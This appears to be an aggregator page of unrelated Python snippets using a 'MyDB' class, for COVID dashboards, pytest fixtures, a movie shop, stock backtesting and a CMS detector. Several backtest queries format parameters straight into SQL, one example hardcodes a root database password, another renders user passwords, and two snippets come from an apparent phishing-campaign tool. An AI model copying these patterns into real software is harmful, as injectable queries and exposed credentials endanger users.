def get_home_realtime_datas():

    mydb = MyDB('localhost', 'root', 'kfq991122', 'covid19')
    results = mydb.get_home_realtime_datas()
    return jsonify(curConfirm =[x[0] for x in results] ,curConfirmRelative=[x[1] for x in results],asymptomatic=[x[2] for x in results], asymptomaticRelative=[x[3] for x in results], \
    unconfirmed=[x[4] for x in results], unconfirmedRelative=[x[5] for x in results], icu=[x[6] for x in results], icuRelative=[x[7] for x in results],confirmed=[x[8] for x in results],confirmedRelative=[x[9] for x in results],\
    overseasInput=[x[10] for x in results],overseasInputRelative=[x[11] for x in results],cured=[x[12] for x in results],curedRelative=[x[13] for x in results],died=[x[14] for x in results],diedRelative=[x[15] for x in results])
def get_province_currentConfirmedCount():

    mydb = MyDB('localhost', 'root', 'kfq991122', 'covid19')
    results = mydb.get_province_currentConfirmedCount()
    return jsonify(provinceShortName=[x[0] for x in results],
                   currentConfirmedCount=[x[1] for x in results],
                   pub_date=results[0][2])
Example #3
0
def test_employ_query2():
    db = MyDB()
    conn = db.connect("server")
    cur = conn.cursor()
    id = cur.execute("select id from employee where name=tom")
    assert id == 789
    cur.close()
    conn.close()
Example #4
0
def render_page_content():
	content = dict()
	db = MyDB()
	
	content['login'] = tools.get_user_info()
	content['movies'] = db.get_movies()
	
	return render_template('homepage.html', content=content)
Example #5
0
def cursorFixture():
    print("setting up")
    db = MyDB()
    conn = db.connect('server')
    cursor = conn.cursor()
    yield cursor #we will get to this point only after all references of cursor are passed to the relavant tests.
    conn.close()
    cursor.close()
    print(" teardown complete")
 def get_maxdrawdown(self, symbol, strategy_id, strategy_option, start_date,
                     end_date):
     conn = MyDB().get_db()
     c = conn.cursor()
     #cash+建玉(取得価格)
     c.execute("""
     select
     business_date
     ,cash
     ,pos_price
     ,pos_vol 
     from backtest_history 
     where symbol = '{symbol}'
     and strategy_id = {strategy_id}
     and strategy_option = '{strategy_option}'
     and business_date between '{start_date}' and '{end_date}'
     order by business_date
     """.format(symbol=symbol,
                strategy_id=strategy_id,
                strategy_option=strategy_option,
                start_date=start_date,
                end_date=end_date))
     rs = c.fetchall()
     conn.close()
     maxv = 0
     minv = 0
     max_drawdown = 0
     business_date = ''
     drawdown = 0
     count = 0
     if rs:
         for r in rs:
             v = r[1] + (r[2] * r[3])
             if count == 0:
                 maxv = v
                 minv = v
             elif maxv < v:
                 maxv = v
                 minv = v
             elif minv > v:
                 minv = v
                 diff = maxv - minv
                 drawdown = self.round(diff / maxv)
                 if max_drawdown < drawdown:
                     max_drawdown = drawdown
                     business_date = r[0]
             count += 1
         self.logger.info(
             "maxdrawdown:{symbol},{strategy_id},{strategy_option},{start_date},{end_date},{business_date},{max_drawdown}"
             .format(symbol=symbol,
                     strategy_id=strategy_id,
                     strategy_option=strategy_option,
                     start_date=start_date,
                     end_date=end_date,
                     business_date=business_date,
                     max_drawdown=max_drawdown))
     return max_drawdown
Example #7
0
def cur():
    print "\nopen DB"
    db = MyDB()
    conn = db.connect("server")
    curs = conn.cursor()
    yield curs
    conn.close()
    curs.close()
    print "\nclose DB"
Example #8
0
def cur():
    print("setting up")
    db = MyDB()
    conn = db.connect("server")
    curs = conn.cursor()
    yield curs
    curs.close()
    conn.close()
    print("closing DB")
Example #9
0
def cur():
    print("Setting up.....")
    db = MyDB()
    conn = db.connect("server")
    cur_ = conn.cursor()
    yield cur_
    cur_.close()
    conn.close()
    print("closing database....")
def get_province_daily_datas():

    mydb = MyDB('localhost', 'root', 'kfq991122', 'covid19')
    results = mydb.get_province_daily_datas()
    return jsonify(provinceName=[x[0] for x in results],
                   provinceShortName=[x[1] for x in results],
                   currentConfirmedCount=[x[2] for x in results],
                   confirmedCount=[x[3] for x in results],
                   suspectedCount=[x[4] for x in results],
                   curedCount=[x[5] for x in results],
                   deadCount=[x[6] for x in results])
def get_outside_realtime_datas():

    mydb = MyDB('localhost', 'root', 'kfq991122', 'covid19')
    results = mydb.get_outside_realtime_datas()
    return jsonify(confirmedCount=[x[0] for x in results],
                   currentConfirmedCount=[x[1] for x in results],
                   confirmedIncr=[x[2] for x in results],
                   curedCount=[x[3] for x in results],
                   curedIncr=[x[4] for x in results],
                   deadCount=[x[5] for x in results],
                   deadIncr=[x[6] for x in results])
 def __init__(self):
     wordpress_detector = WPDetector()
     joomla_detector = JoomlaDetector()
     squarespace_detector = SquarspaceDetector()
     drupal_detector = drupalDetector()
     detectors = [
         wordpress_detector, joomla_detector, squarespace_detector,
         drupal_detector
     ]
     self._mydb = MyDB()
     self._mydb.connect()
     self._model = Model(detectors)
Example #13
0
def add_review(movie_id, request):
	review = request.form['review'].strip()

	if len(review) == 0:
		return

	if not current_user.is_authenticated():
		author = "Utente anonimo"
	else:
		author = current_user.username
		
	MyDB.insert_review(author, movie_id, review)
Example #14
0
def get_max_businessdate_from_ohlc(symbols):
    conn = MyDB().get_db()
    c = conn.cursor()
    #ohlcの最終登録日を取得
    c.execute(
        """
    select
    max(business_date)
    from ohlc 
    where symbol in ({0})""".format(', '.join('?' for _ in symbols)), symbols)
    max_date = c.fetchone()
    conn.close()
    return max_date[0]
Example #15
0
def get_bollingerband_closeondaily_settings(symbol):
    conn = MyDB().get_db()
    c = conn.cursor()
    c.execute("""
    select
     symbol
    ,sma
    ,sigma1
    from bollingerband_closeondaily
    where symbol = '{symbol}'
    """.format(symbol=symbol))
    rs = c.fetchall()
    conn.close()
    return rs
Example #16
0
def main():
    args = parse_arg()

    outdir, src_path, db_path = mk_dirs(args.outdir)
    with MyDB(os.path.join(db_path, db_file_name)) as db:
        db.createdb()
        for lang in args.langs:
            for i in range(args.p_start, args.p_end + 1):
                print "Processing [{now}/{all}].".format(now=i, all=args.p_end)

                url = construct_url(query,
                                    p=i,
                                    per_page=per_page,
                                    langs=[lang])
                print url
                data = get_json_from_url(url)

                if not data:
                    continue

                useful_count = 0
                for r in data['results']:
                    posts = get_posts_from(r['lines'])

                    # store file and repo info into db
                    para = extract_para(r, posts)
                    db.insertfile(**para)

                    if len(posts) > 0:
                        # code has some real SO links
                        write_code_to_file(para['fid'], src_path)
                        useful_count += 1
                print "{useful}/{total} are useful files on this page." \
                    .format(useful=useful_count, total=len(data['results']))
Example #17
0
def render_page_content(movie_id):
	content = dict()
	db = MyDB()

	content['login'] = tools.get_user_info()	
	content['id'] = movie_id
	
	movie = db.get_movie_by_id( movie_id )

	content['title'] = movie['title']
	content['actors'] = movie['actors']
	content['description'] = movie['description']
	content['price'] = str(movie['price'])[:-2] + '.' + str(movie['price'])[-2:]
	content['reviews'] = db.get_reviews_by_id( movie_id )

	return render_template('movie.html', content=content)
Example #18
0
def cur():
    print("setting up dB")
    # create the database object--this will give me DB object
    db = MyDB()
    # you always need to connect your DB to a server -- this would normally be acutal server
    conn = db.connect("server")
    # next we will get a cursor object
    curs = conn.cursor()

    # it will create the cursor object only once, and then it will pass the cursor object to test cases
    # after this is complete, it will close the cursor and connection
    yield curs

    curs.close()
    conn.close()
    print("closing dB")
Example #19
0
 def get_history(self):
     try:
         mylock.lock.acquire()
         conn = MyDB().get_db()
         df = pd.read_sql_query(
             """select
                                   symbol
                                  , business_date
                                  , open
                                  , high
                                  , low
                                  , close
                                  , volume
                                  from ohlc 
                                  where symbol = '%s'
                                  and business_date between '%s' and '%s'
                                  order by business_date
                                  """ %
             (self.symbol, self.start_date, self.end_date), conn)
         df = df.fillna(method='ffill')
     except Exception as err:
         print(err)
     finally:
         if conn:
             self.quotes = df
             conn.close
         else:
             self.quotes = None
         mylock.lock.release()
Example #20
0
def render_page_content():
	content = dict()
	db = MyDB()

	content['login'] = tools.get_user_info()
	content['records'] = list()
	content['username'] = content['login']['username']

	users = db.get_users()
	if users == None:
		users = []

	for entry in users:
		item = dict()
		item['id'] = entry['user_id']
		item['username'] = entry['username']
		item['password'] = entry['password']
		item['isAdmin'] = "Yes" if entry['isAdmin'] else "No"
		content['records'].append(item)


	return render_template('admin.html', content=content)
Example #21
0
def main():
    def process_data(r):
        db.update_repo(**r)
        # print r

    args = parse_arg()

    outdir, src_path, db_path = mk_dirs(args.outdir)
    with MyDB(os.path.join(db_path, db_file_name)) as db:
        rows = db.select_all_repos()

        gc = GitHubCrawler(rows, process_data, config['login'],
                           config['password'])
        gc.start(args.force_commits, args.force_stars)
Example #22
0
def render_page_content(cart_id, confirm):
	content = dict()
	db = MyDB()

	content['login'] = tools.get_user_info()
	content['confirm'] = confirm
	content['records'] = list()
	
	total = 0

	cart = db.get_cart(cart_id)
	if cart == None:
		cart = []

	for entry in cart:
		item = dict()
		item['id'] = entry['movie_id']
		item['title'] = entry['title']
		item['actors'] = entry['actors']
		item['quantity'] = entry['quantity']

		price = entry['price']
		subtotal = price * entry['quantity']

		item['price'] = str(price)[:-2] + '.' + str(price)[-2:]
		item['subtotal'] = str(subtotal)[:-2] + '.' + str(subtotal)[-2:]

		total = total + subtotal
		content['records'].append(item)

	total = str(total)
	content['total'] = str(total)[:-2] + '.' + str(total)[-2:]

	content['username'] = db.get_username_by_id(cart_id)

	return render_template('cart.html', content=content)
Example #23
0
 def insert_history(self, quotes):
     try:
         conn = MyDB().get_db()
         c = conn.cursor()
         c.executemany(
             'INSERT OR REPLACE INTO ohlc(symbol, business_date, open, high, low, close, volume) VALUES(?,?,?,?,?,?,?)',
             quotes)
     except Exception as err:
         self.logger.error('error dayo. {0}'.format(err))
         if conn: conn.rollback()
     finally:
         if conn:
             conn.commit()
             conn.close
Example #24
0
def initDB():
    """初始化数据库
    """
    global mydb
    if os.path.exists('test.sqlite'):
        mydb = MyDB("test.sqlite")
    else:
        mydb = MyDB("test.sqlite")
        mydb.sql('''
        CREATE TABLE Quotes
        (ID INTEGER  PRIMARY KEY  AUTOINCREMENT,
        md5           TEXT    NOT NULL,
        Quote           TEXT    NOT NULL
        );''')
Example #25
0
    def load_config(self):
        # does config file exist?
        if (self.config["config_filename"] is not None):
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            # guess not..   so try to load the default one
            if Utils.is_readable("default.cfg"):
                self.display.error("a CONFIG FILE was not specified...  defaulting to [default.cfg]")
                print
                temp1 = self.config
                temp2 = Utils.load_config("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                # someone must have removed it!
                self.display.error("a CONFIG FILE was not specified...")
                print
                sys.exit(1)

        # set verbosity/debug level
        if (self.config['verbose'] >= 1):
            self.display.enableVerbose()
        if (self.config['verbose'] > 1):
            self.display.enableDebug()

        if (self.config["ip"] == "0.0.0.0") or (self.config["ip"] == None):
            self.config["ip"]=Utils.getIP()

        # set logging path
        self.outdir = os.getcwd() + "/" + self.config["domain_name"] + "_" + self.config["phishing_domain"] + "/"
        if not os.path.exists(os.path.dirname(self.outdir)):
            os.makedirs(os.path.dirname(self.outdir))
        self.display.setLogPath(self.outdir + "logs/")

        # create sqllite db
        self.db = MyDB(sqlite_file=self.outdir)

        # log it
        self.display.log("STARTTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")
        self.display.log("TARGETDOMAIN=%s\n" % (self.config["domain_name"]), filename="INFO.txt")
        self.display.log("PHISHINGDOMAIN=%s\n" % (self.config["phishing_domain"]), filename="INFO.txt")
Example #26
0
def cur():
    print("Setting up")
    db = MyDB()  # instance of the class of MDB
    conn = db.connect("127.0.0.1")
    curs = conn.cursor()
    return curs
Example #27
0
 def __init__(s):
     s.mydb=MyDB()
     s.myf=MyFile()   
 def update_maxdrawdown(self, symbols, strategy_id):
     (end_date, start_date, start_date_3month, start_date_1year,
      start_date_3year, start_date_15year) = self.get_dates()
     #バックテスト結果を取得
     conn = MyDB().get_db()
     c = conn.cursor()
     c.execute(
         """
     select 
     symbol
     ,strategy_id
     ,strategy_option 
     from backtest_result
     where symbol in ({symbols})
     and strategy_id = {strategy_id}
     """.format(symbols=', '.join('?' for _ in symbols),
                strategy_id=strategy_id), symbols)
     rs = c.fetchall()
     conn.close()
     #ドローダウン算出
     for r in rs:
         symbol = r[0]
         strategy_id = r[1]
         strategy_option = r[2]
         drawdown = self.get_maxdrawdown(symbol, strategy_id,
                                         strategy_option, start_date,
                                         end_date)
         drawdown_3month = self.get_maxdrawdown(symbol, strategy_id,
                                                strategy_option,
                                                start_date_3month, end_date)
         drawdown_1year = self.get_maxdrawdown(symbol, strategy_id,
                                               strategy_option,
                                               start_date_1year, end_date)
         drawdown_3year = self.get_maxdrawdown(symbol, strategy_id,
                                               strategy_option,
                                               start_date_3year, end_date)
         drawdown_15year = self.get_maxdrawdown(symbol, strategy_id,
                                                strategy_option,
                                                start_date_15year, end_date)
         #DB更新
         conn = MyDB().get_db()
         c = conn.cursor()
         c.execute("""
         update backtest_result set 
          drawdown = {drawdown} 
         ,drawdown_3month = {drawdown_3month} 
         ,drawdown_1year = {drawdown_1year} 
         ,drawdown_3year = {drawdown_3year} 
         ,drawdown_15year = {drawdown_15year} 
         where symbol = '{symbol}'
         and strategy_id = {strategy_id}
         and strategy_option = '{strategy_option}'
         """.format(symbol=symbol,
                    strategy_id=strategy_id,
                    strategy_option=strategy_option,
                    drawdown=drawdown,
                    drawdown_3month=drawdown_3month,
                    drawdown_1year=drawdown_1year,
                    drawdown_3year=drawdown_3year,
                    drawdown_15year=drawdown_15year))
         self.logger.info(
             "update_drawdown() {symbol},{strategy_id},{strategy_option}".
             format(symbol=symbol,
                    strategy_id=strategy_id,
                    strategy_option=strategy_option))
         conn.commit()
         conn.close()
 def update_expected_rate(self, symbols, strategy_id):
     self.logger.info("update_expected_rate()")
     (end_date, start_date, start_date_3month, start_date_1year,
      start_date_3year, start_date_15year) = self.get_dates()
     #backtest_result table取得
     conn = MyDB().get_db()
     c = conn.cursor()
     c.execute(
         """
     select
      symbol
     ,strategy_id
     ,strategy_option
     from backtest_result
     where symbol in ({symbols})
     and strategy_id = {strategy_id}
     """.format(symbols=', '.join('?' for _ in symbols),
                strategy_id=strategy_id), symbols)
     rs = c.fetchall()
     conn.close()
     for r in rs:
         self.logger.info("{symbol},{strategy_id},{strategy_option}".format(
             symbol=r[0], strategy_id=r[1], strategy_option=r[2]))
         conn = MyDB().get_db()
         c = conn.cursor()
         c.execute("""
                 update backtest_result
                 set
                  profit_rate_3month = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3month}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,profit_rate_1year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_1year}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,profit_rate_3year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3year}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,profit_rate_15year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_15year}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_profit_rate_3month = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3month}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_profit_rate_1year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_1year}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_profit_rate_3year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3year}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_profit_rate_15year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_15year}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_profit_rate_3month = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3month}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_profit_rate_1year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_1year}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_profit_rate_3year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3year}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_profit_rate_15year = 
                 (
                     select 
                      round(sum(profit_rate) ,4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_15year}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
 
                 ,expected_rate_3month = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3month}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,expected_rate_1year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_1year}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,expected_rate_3year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3year}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,expected_rate_15year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_15year}' and '{end_date}'
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_expected_rate_3month = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3month}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_expected_rate_1year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_1year}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_expected_rate_3year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3year}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,long_expected_rate_15year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_15year}' and '{end_date}'
                     and execution_order_type in (5,7,11)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_expected_rate_3month = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3month}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_expected_rate_1year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_1year}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_expected_rate_3year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_3year}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
                 ,short_expected_rate_15year = 
                 (
                     select 
                      round(sum(profit_rate) / count(profit_rate), 4)
                     from backtest_history 
                     where symbol='{symbol}' 
                     and strategy_id = {strategy_id} 
                     and strategy_option = '{strategy_option}' 
                     and business_date between '{start_date_15year}' and '{end_date}'
                     and execution_order_type in (6,8,12)
                     group by symbol, strategy_id, strategy_option
                 )
 
                 where symbol = '{symbol}' and strategy_id = {strategy_id} and strategy_option = '{strategy_option}'
                 """.format(symbol=r[0],
                            strategy_id=r[1],
                            strategy_option=r[2],
                            end_date=end_date,
                            start_date_3month=start_date_3month,
                            start_date_1year=start_date_1year,
                            start_date_3year=start_date_3year,
                            start_date_15year=start_date_15year))
         conn.commit()
         conn.close()
 def save_history(self, backtest_history):
     try:
         mylock.lock.acquire()
         conn = MyDB().get_db()
         c = conn.cursor()
         c.executemany(
             """
                     insert or replace into backtest_history
                     (
                         symbol,
                         strategy_id,
                         strategy_option,
                         business_date,
                         open,
                         high,
                         low,
                         close,
                         volume,
                         sma,
                         upper_sigma1,
                         lower_sigma1,
                         upper_sigma2,
                         lower_sigma2,
                         vol_sma,
                         vol_upper_sigma1,
                         vol_lower_sigma1,
                         order_create_date,
                         order_type,
                         order_vol, 
                         order_price,
                         call_order_date,
                         call_order_type,
                         call_order_vol,
                         call_order_price,
                         execution_order_date,
                         execution_order_type,
                         execution_order_status,
                         execution_order_vol,
                         execution_order_price,
                         position,
                         cash,
                         pos_vol,
                         pos_price,
                         total_value,
                         profit_value,
                         profit_rate,
                         leverage
                     )
                     values
                     ( 
                          ?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                     )
                 """, backtest_history)
     except Exception as err:
         if conn:
             conn.rollback()
             self.logger.error(err)
     finally:
         if conn:
             conn.commit()
             conn.close
         mylock.lock.release()
Example #31
0
import urllib.parse
from mydb import MyDB
from lxml import etree
from ScanProxy import ScanProxy
import pdb

############## Config ################################
keyword = "手机赚钱软件"  #搜索的关键词
maxPage = 100  #抓取的最大列表页页码
############## End Config ############################

############## Public Var ############################
urlList = []
proxyList = []
history_urlList = []
db = MyDB()

############## End Public ############################


############## Function ##############################
def userAgentRand():
    l = []
    l.append(
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
    )
    l.append("Mozilla/5.0 (Windows NT 6.1; W…) Gecko/20100101 Firefox/61.0")
    l.append("Mozilla/4.0(compatible;MSIE8.0;WindowsNT6.0;Trident/4.0)")
    l.append("Mozilla/5.0(WindowsNT6.1;rv:2.0.1)Gecko/20100101Firefox/4.0.1")
    l.append("Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.1;TencentTraveler4.0)")
    l.append("Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.1;TheWorld)")
Example #32
0
def add_to_cart(movie_id, request):
	quantity = int(request.form["quantity"])
	MyDB.add_to_cart(current_user.id, movie_id, quantity)
class Controller(object):
    def __init__(self):
        wordpress_detector = WPDetector()
        joomla_detector = JoomlaDetector()
        squarespace_detector = SquarspaceDetector()
        drupal_detector = drupalDetector()
        detectors = [
            wordpress_detector, joomla_detector, squarespace_detector,
            drupal_detector
        ]
        self._mydb = MyDB()
        self._mydb.connect()
        self._model = Model(detectors)

    def read_xml(self, xml_file_path):
        """
        :param xml_file_path: xml file with relevant data
        :return:list. record from db: platform,domain,version and date of last detection.
        """
        try:
            mydoc = minidom.parse(xml_file_path)
            items = mydoc.getElementsByTagName('item')
            formdata = {}
            for item in items:
                formdata[item.attributes['name'].value] = item.firstChild.data
            domain = formdata.get("domain")
            cache = formdata['usecache']
            return self.check_platform(domain, cache)
        except Exception as e:
            print(e)

    def check_platform(self, domain, cache, platform=None):
        """
        :param platform:string. the user know platform is the website, he looks for the version.
        :param cache: boolean. weather user want to use cache or not.
        :param domain: string. the domain that the user want to check.
        if user want record from cache then check if it exist in db
        if exist then check if the last date is relevant
        else run check_platform method in model
        :return:string. record(line) from db.
        """
        try:
            # user don't want record from db at all
            if not cache:
                if len(self._mydb.select(domain)) > 0:
                    self._mydb.delete(domain)
                if platform is None:
                    sol = self._model.check_platform(domain)
                else:
                    sol = self._model.check_platform(domain, platform)
                if not sol[0]:
                    return sol[1]
                else:
                    self._mydb.insert_data(domain=domain,
                                           platform=sol[0],
                                           version=sol[1])
                    return self._mydb.select(domain)
            # user want record from db
            else:
                record = self._mydb.select(domain)
                # record not found, run this method again with no cache-check
                if not record:
                    cache = False
                    if platform is None:
                        return self.check_platform(domain, cache)
                    else:
                        return self.check_platform(domain, cache, platform)
                # record found
                else:
                    # if date is relevant(last check less then 6 month)
                    if self._check_date(domain, record):
                        return record
                    # date is not relevant, run this method again with no cache-check
                    else:
                        cache = False
                        if platform is None:
                            return self.check_platform(domain, cache)
                        else:
                            return self.check_platform(domain, cache, platform)
        except Exception as e:
            print(e)

    def _check_date(self, domain, record):
        """
        :param domain:string. the domain of the specific record.
        :param record:tuple. record for specific domain from db.
        :return: boolean. true if the date is relevant(less then 6 month from last check)
                           or false if it is not relevant
        """
        try:
            today = str(datetime.date.today()).split("-")
            today_year = today[0]
            today_month = today[1]
            date = str(record[0][3]).split(" ")
            date_t = date[0].split("-")
            year = date_t[0]
            month = date_t[1]
            if int(year) < int(today_year):
                self._mydb.delete(domain)
                return False
            elif int(year) == int(today_year):
                if int(today_month) > int(month) + 6:
                    self._mydb.delete(domain)
                    return False
            return True
        except Exception as e:
            print(e)
Example #34
0
    def run(self, argv):

        # ==================================================
        # Process/Load commanline args and config file
        # ==================================================

        self.parse_parameters(argv)

        # load the config file
        if self.config["config_filename"] is not None:
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            if Utils.is_readable("default.cfg"):
                self.display.error("a CONFIG FILE was not specified...  defaulting to [default.cfg]")
                print
                temp1 = self.config
                temp2 = Utils.load_config("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                self.display.error("a CONFIG FILE was not specified...")
                print
                sys.exit()

        # set verbosity level
        if self.config["verbose"] >= 1:
            self.display.enableVerbose()
        if self.config["verbose"] > 1:
            self.display.enableDebug()

        # set logging path
        self.logpath = os.getcwd() + "/" + self.config["domain_name"] + "_" + self.config["phishing_domain"] + "/"
        if not os.path.exists(os.path.dirname(self.logpath)):
            os.makedirs(os.path.dirname(self.logpath))

        self.display.setLogPath(self.logpath)
        # print self.logpath
        self.db = MyDB(sqlite_file=self.logpath)

        self.display.log("STARTTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")
        self.display.log("TARGETDOMAIN=%s\n" % (self.config["domain_name"]), filename="INFO.txt")
        self.display.log("PHISHINGDOMAIN=%s\n" % (self.config["phishing_domain"]), filename="INFO.txt")

        # ==================================================
        # Load/Gather target email addresses
        # ==================================================

        if (self.config["email_list_filename"] is not None) or (self.config["gather_emails"] == True):
            print
            self.display.output("Obtaining list of email targets")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                # if an external emaillist file was specified, read it in
                if self.config["email_list_filename"] is not None:
                    file = open(self.config["email_list_filename"], "r")
                    temp_list = file.read().splitlines()
                    self.display.verbose(
                        "Loaded [%s] email addresses from [%s]" % (len(temp_list), self.config["email_list_filename"])
